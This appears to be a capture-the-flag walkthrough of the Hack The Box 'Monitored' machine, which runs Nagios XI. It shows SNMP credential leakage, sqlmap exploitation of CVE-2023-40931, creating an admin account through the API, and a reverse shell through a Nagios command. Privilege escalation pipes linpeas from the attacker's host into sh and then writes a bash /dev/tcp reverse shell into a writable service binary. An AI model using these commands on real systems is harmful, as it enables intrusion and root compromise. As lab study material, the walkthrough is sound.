Post

HTB - Monitored

Monitored - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Monitored

  • NMAP

image1

image2

  • UDP Scan:
1
2
sudo nmap nagios.monitored.htb -sU -vvv

image3

  • Add nagios.monitored.htb to /etc/hosts

image4

image5

  • Directory bruteforcing:
1
2
ffuf -u https://nagios.monitored.htb/nagiosxi/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image6

  • FUZZ /api
1
ffuf -u https://nagios.monitored.htb/nagiosxi/api/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image7

  • FUZZ /v1 /v1 is an indicator of version controlled endpoints:
1
2
ffuf -u https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image8

image9

  • Filter:
1
2
ffuf -u https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fw 4

image10

  • Incorrectly formatted POST request:
1
2
curl -X POST -H "Content-Type: application/json" -d '{"test": "test"}' -k https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

image11

  • After looking at the Login page POST request - we can see two things: The Content-Type and

how the username and password is being sent as parameters

image12

  • Correctly formatted POST request: Can include -H “Content-Type: application/x-www-form-urlencoded” but isn’t necessary
1
2
curl -X POST -d "username=test&password=test" -k https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

image13

  • SNMP: SNMPv1: Authentication is based on a string (community string) that travels in plain-text (all the information travels in plain text)

image14

  • From the NMAP scan we can see it’s SNMP v1 and the community string is public

  • Check login with Metasploit (and we get the Community String - public) as well

image15

1
2
snmpwalk -c public 10.129.230.96 -v 1

image16

1
2
sudo apt install snmp-mibs-downloader

1
sudo nano /etc/snmp/snmp.conf #comment out mibs

image17

  • Now it shows the names:

image18

  • Let snmpwalk run and output to a file:
1
2
snmpwalk -c public 10.129.230.96 -v 1 > snmp.txt

  • SNMP-Check: The output format is much better
1
2
snmp-check 10.129.230.96

image19

  • Found a potential username and password - looking at services:

image20

svc : XjH7………

  • Tried to login at the login page and SSH with it but it doesn’t work, as well as /terminal:

image21

  • Try to login to the API:
1
2
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=svc&password=<password>" -k https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

image22

Auth_token: 815a6e02614c74f9bce2bd585298b5efa0858d6d

  • Auth tokens expire if not used

  • Look at Nagios docs:

https://www.nagios.org/ncpa/help/2.0/api.html

https://nagios.monitored.htb/nagiosxi/?token=815a6e02614c74f9bce2bd585298b5efa0858d6d

image23

image24

  • Searching on google for Nagios 5.11.0 exploit - There seems to be a SQLi exploit (CVE-2023-40931)

https://outpost24.com/blog/nagios-xi-vulnerabilities/

image25

  • SQLmap:

image26

image27

  • It needs to be a cookie of an authenticated user
1
2
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="action=acknowledge_banner_message&id=3" --cookie "nagiosxi=q0mkm8crf2a3rckum3enqgafje" --dbms=MySQL --level=1 --risk=1 -D nagiosxi -T xi_users --dump

image28

nagiosadmin : $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C

API_Key : IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

  • The hash is a bcrypt hash:

image29

  • Couldn’t crack it with rockyou.txt

  • Maybe the api_key is for the API endpoints

  • Looking for API docs:

https://support.nagios.com/forum/viewtopic.php?t=42923

https://support.nagios.com/kb/article/nagios-xi-how-to-apply-configuration-using-the-api-697.html

  • Changing the parameter to ?apikey= seems to give a different error

image30

  • We can maybe look at Admin stuff - with the /api/v1/system:

https://nagios.monitored.htb/nagiosxi/api/v1/system/status?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

image31

  • Got something different back

/user

image32

  • According to the article above, we can do something like this:
1
2
curl -X POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin1&password=password1&name=john%20smit&email=john@localhost"

image33

  • Added a user:

image34

But it’s just a user

  • Go to this site and click on Administrator -> Help -> System Reference

https://nagiosxi.demos.nagios.com/nagiosxi/

image35

Auth_level is by default = user

  • Change auth_level = admin:
1
2
curl -X POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin&password=admin&auth_level=admin&name=john%20smit&email=john2@localhost"

image36

  • Log in to nagiosxi

image37

  • We have an admin panel

https://assets.nagios.com/downloads/nagiosxi/docs/How-To-Use-The-Actions-Component-in-Nagios-XI.pdf

Configure -> Core Config Manager -> Commands -> Add New

image38

Input a rev shell

image39

. -> Quick Tools -> Apply configuration

.-> Monitoring -> Services

image40

  • Pick one and edit: Choose the command we made

image41

  • Set up listener on Kali

  • . -> Quick Tools -> Apply configuration

  • Shell:

image42

  • The shell is temperamental but if it drops out, just restart the listener and wait or in Services, choose your service and click Run Check Command and stop the command after you get a shell

  • To get a better shell:

1
2
3
4
5
6
7
8
ssh-keygen -t rsa -b 4096

chmod 600 id_rsa

echo "id_rsa.pub" > .ssh/authorized_keys

ssh nagios@10.129.230.96 -i id_rsa

image43

Priv esc:

1
2
sudo -l

image44

  • Upload linpeas:
1
2
curl http://10.10.14.38:8082/linpeas.sh | sh

image45

  • Looking at the services from linpeas:
1
2
systemctl status nagios.service

image46

  • Reading the script manage_services.sh We can see that it’s a script that basically does what systemctl does - starts and stops services and looks at the status

image47

  • We have sudo rights to run this script with wilcard * arguments

  • Looking at the list of services that we can start/ stop - ncpd stands out because we can write to that executable

image48

Everything in Linux is a file

  • Set up listener:
1
2
rlwrap -cAr nc -lvnp 9001

  • Do the following:
1
2
3
4
5
6
7
8
rm -rf /usr/local/nagios/bin/npcd

nano /usr/local/nagios/bin/npcd

#!/bin/bash
bin/bash -i >& /dev/tcp/10.10.14.38/9001 0>&1
chmod +x /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd

image49

image50

image51

image52

image53

This post is licensed under CC BY 4.0 by the author.